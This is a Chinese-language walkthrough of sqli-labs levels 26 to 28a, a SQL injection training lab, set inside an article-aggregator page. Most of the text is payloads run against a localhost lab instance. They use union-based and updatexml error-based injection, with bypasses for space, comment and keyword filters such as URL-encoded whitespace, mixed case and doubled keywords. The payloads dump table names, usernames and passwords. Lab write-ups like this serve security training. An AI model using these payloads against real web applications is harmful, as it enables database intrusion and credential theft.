| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> sqli-labs Less-26、26a、27、27a、28、28a(sqli-labs闯关指南 26、26a、27、27a、28、28a)—Advanced injection -> 正文阅读 |
|
[大数据]sqli-labs Less-26、26a、27、27a、28、28a(sqli-labs闯关指南 26、26a、27、27a、28、28a)—Advanced injection |
目录 Less-26????????基于错误_GET_过滤空格/注释_单引号_字符型注入 源码: ?????????这关跟是在Less-25关的基础上再加上了/*、--、#和空格,以及正反斜杠 ?????????剩下的就是将各种绕过组合成 payload了: ????????http://127.0.0.1/sqli/Less-26/id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1 ????????http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||%a0'1'='1 ????????http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||%a0'1'='1
?????????不同环境可能不能成功。 下面演示基于错误的注入: ????????1. 爆数据库名: ?????????id=0'||updatexml(1,concat('$',(database())),0)||'1'='1 ????????2.爆表名: ?????????id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1 ????????3.爆字段名: ?????????id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1 ?????????4.爆用户名和密码等数据: ??????????id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1 ????????这里因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。 Less-26a????????基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注 源码: ??????????这关与Less-26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入。 ????????我们构造 payload: ????????http://127.0.0.1/sqli/Less-26a/?id=1')%09||('1
????????1. 爆数据库名: ?????????id=0')%0Bunion%0Bselect%0B1,database(),3%0B||('1')=('1 ????????2.爆表名: ????????id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%261=('1 ????????3.爆字段名: ????????id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%261=('1 ?????????4.爆用户名和密码等数据: ????????id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=('1 ? Less-27????????基于错误_GET_过滤UNION/SELECT_单引号_字符型注入 源码: ?????????本关主要考察将 union,select 和Less-26 关过滤掉的字符。此处我们依旧和 Less-276 关的方式是一样的,只需要将 union 和 select 改为大小写混合就可以突破。 ????????1.爆数据库名:?id=0'unIon%0BSelEcT%0B1,database(),3||'1: ????????或是?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1 ????????2.爆表名: ?????????id=0'%0AunIon%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||'1 ????????3.爆字段名: ?????????id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1 ????????4.爆数据: ??????????id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1 ????????uniunionon 双写也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。 Less-27-a????????基于盲注_GET_过滤UNION/SELECT_双引号_字符型 源码: ?????????本关与 27 关的区别在于对于 id 的处理,这里用的是 ",同时 mysql 的错误不会在前端页面显示。得出以下结论:
?????????爆数据库: ?????????id=0"%0BuniOn%0BsElEct%0B1,database(),3%0Bor%0B"1"="1 ?????????爆表:?id=0"%0AUnIoN%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||"1 ?????????其他参考Less-27,修改'为''即可。 Less-28?????????基于错误的,单引号字符型,过滤了union和select等的注入 ?源码:
????????本关考察内容与 27 关没有太大的差距,过滤了相连的union和select,就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。 ????????1.爆数据库: ?????????id=0')%0BuniOn%0BsElEct%0B1,database(),3%0Bor%0B('1')=('1 ????????2.爆表: ?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1 ????????3.爆字段名: ?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1 ????????4.爆数据: ?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1? ? Less-28a????????基于盲注的,带括号的单引号字符型,过滤了union和select等的注入 ?源码: ?????????本关与Less- 28 基本一致,只是过滤条件少了几个。 ????????联合注入和Less-28关一样,具体操作可自行操作。 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 12:57:51- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |